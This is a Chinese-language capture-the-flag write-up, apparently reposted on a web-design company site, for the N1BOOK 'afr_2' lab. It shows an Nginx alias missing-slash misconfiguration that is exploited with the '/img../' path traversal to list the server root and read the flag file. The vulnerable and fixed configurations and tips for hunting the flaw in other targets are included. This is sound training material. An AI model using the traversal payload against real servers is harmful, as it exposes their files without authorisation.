☰
Writeup 4 N1BOOK afr_2
2026/10/8 6:51:16 网站建设 项目流程

Writeup 4 N1BOOK afr_2

解题过程

访问靶机:

http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/

靶机首页源码:

<html><head><title>u1s1</title></head><body>HELLO!<imgsrc="img/img.gif"></body></html>

发现目录:img

访问该路径:

http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img/

页面显示:

Index of /img/ ../ img.gif 09-Nov-2020 08:17 456384

img.gif 就是靶机首页上跳舞的图片。

这意味着服务器开启了目录浏览功能。

我们就可以尝试利用 Nginx 的“目录穿越”漏洞。

尝试用常规的../去访问上一级目录,比如/img/../,发现被服务器拦截或返回 404。
但是,这道题的关键在于:Nginx 在配置别名(alias)时少写了一个斜杠/,导致存在目录穿越漏洞。

正确的 Payload 是把..直接拼在目录名后面,去掉中间的斜杠:

/img../

访问这个 URL,就能成功穿越到网站的根目录,看到服务器根目录下的所有文件列表。在列表的底部,可以找到一个名为flag的文件。

尝试访问:

http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img../

页面显示:

Index of /img../ ../ bin/ 23-Jan-2020 14:36 - dev/ 07-Oct-2026 04:11 - etc/ 07-Oct-2026 04:11 - home/ 23-Jan-2020 14:36 - lib/ 23-Jan-2020 14:36 - media/ 23-Jan-2020 14:36 - mnt/ 23-Jan-2020 14:36 - opt/ 23-Jan-2020 14:36 - proc/ 07-Oct-2026 04:11 - root/ 23-Jan-2020 14:36 - run/ 07-Oct-2026 04:11 - sbin/ 23-Jan-2020 14:36 - srv/ 23-Jan-2020 14:36 - sys/ 07-Oct-2026 04:11 - tmp/ 09-Nov-2020 08:17 - usr/ 23-Jan-2020 14:36 - var/ 29-Feb-2020 20:29 - flag 07-Oct-2026 04:11 21

💥看到了flag文件!

很自然,访问:

http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img../flag

浏览器自动下载文件:flag

用记事本打开,得到flag

n1book{afr_2_solved}

核心知识点

⚠️ CTF 重点:alias的斜杠问题

如果location和alias的末尾斜杠不匹配,就会产生目录穿越漏洞(即afr_2的考点)。

  • 有漏洞的配置(location无斜杠,alias有斜杠):

    location /img { alias /var/www/html/img/; }

    访问/img../flag时,Nginx 将../flag拼接到/var/www/html/img/后面,解析为:/var/www/html/flag,成功穿越到上一级。

  • 安全的配置(两者都有斜杠):

    location /img/ { alias /var/www/html/img/; }

CTF 实战中的意义

💡当我们遇到 Nginx 靶机时,重点关注:

  1. 有没有alias:如果靶机有静态资源目录(如图片、上传文件),可能用了alias,尝试/目录名../穿越。
  2. autoindex是否开启:如果某个目录能直接列出文件,看看有没有flag或源码文件。
  3. location的匹配:如果某个后缀被限制(如.php不能访问),看看能不能用路径穿越或编码绕过。

Rambo

2026年10月07日

🎉🎉🎉

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询